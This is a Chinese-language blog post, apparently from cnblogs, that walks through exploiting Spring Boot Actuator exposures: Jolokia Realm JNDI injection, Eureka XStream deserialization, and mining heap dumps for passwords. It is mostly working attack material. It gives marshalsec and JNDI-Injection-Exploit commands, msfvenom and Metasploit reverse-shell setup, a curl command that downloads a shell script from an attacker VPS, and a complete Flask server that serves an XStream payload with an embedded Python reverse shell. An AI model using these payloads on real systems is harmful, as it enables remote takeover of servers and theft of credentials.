Spring Boot漏洞复现
一、jolokia Realm JNDI RCE
(1).利用条件:
目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
目标可以请求攻击者的服务器(请求可出外网)
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
(2).攻击步骤
访问 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。
python3 -m http.server 8080开启一个http服务,用来托管 class 文件
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java
javac -source 1.5 -target 1.5 JNDIObject.java
启动恶意 rmi 服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
nc -lvp 进行监听成功后,使用脚本发送恶意payload
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py 注意修改脚本中的目标地址、RMI地址信息。
(二)Jolokia Realm JNDI JDK高版本情况下利用
当marshalsec 接收到了目标请求,但是目标没有请求 JNDIObject.class,就得考虑是否是对方jdk版本过高
https://github.com/welk1n/JNDI-Injection-Exploit
msfvenom -p cmd/unix/reverse_python LHOST=1.1.1,1 LPORT=80 -f raw -o shell.py
msfconsole -q -x "use multi/handler; set payload cmd/unix/reverse_python; set lhost 1.1.1,1; set lport 80; exploit"
python -m SimpleHTTPServer 8080
启动 JNDI-Injection-Exploit:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl -L http://vps:8080/shell.py -o /tmp/.shell.py" -A "vps"
选用Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath恶意类
修改springboot-realm-jndi-rce.py中的rmi地址:rmi://192.168.111.76:1099/efe039
http收到请求后受害机器响应,将执行的命令修改为"bash /tmp/.shell.py" 获取到shell,同样需要修改rmi地址
二、eureka xstream deserialization RCE(此方法会修改属性警慎使用)
(1).利用条件:
可以 POST 请求目标网站的 /env 接口设置属性
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
(2).攻击步骤
http://192.168.237.212:8090/env 查看是否存在组件com.netflix查看目标是否使用Spring Cloud Netflix
架设响应恶意 XStream payload 的网站,修改ip和端口地址nc-lvp进行监听
#!/usr/bin/env python # coding: utf-8 # -**- Author: LandGrey -**- from flask import Flask, Response app = Flask(__name__) @app.route('/', defaults={'path': ''}) @app.route('/<path:path>', methods=['GET', 'POST']) def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/bash</string> <string>-c</string> <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </linked-hash-set>""" return Response(xml, mimetype='application/xml') if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
设置 eureka.client.serviceUrl.defaultZone 属性,访问env
eureka.client.serviceUrl.defaultZone=http://192.168.237.131/example
访问访问http://192.168.237.212:8090/refresh刷新配置
三、heapdump获取明文信息
当下载/heapdump是403的时候, /heapdump.json可以下载成功
Eclipse Memory Analyzer :https://www.eclipse.org/mat/downloads.php
打开工具file->open heap dump选择下载下来的文件,点击 OQL 标签,在查询框中输入,选择红色感叹号执行SQL语句
(1)spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry 实例的键值
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
(2)spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中,本文测试的是springboot 2.x版本,配合env信息进行搜索
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
参考文章:
https://github.com/LandGrey/SpringBootVulExploit
https://landgrey.me/blog/16/
本文来自博客园,作者:aoaoaoao,转载请注明原文链接:https://www.cnblogs.com/websecyw/p/14588407.html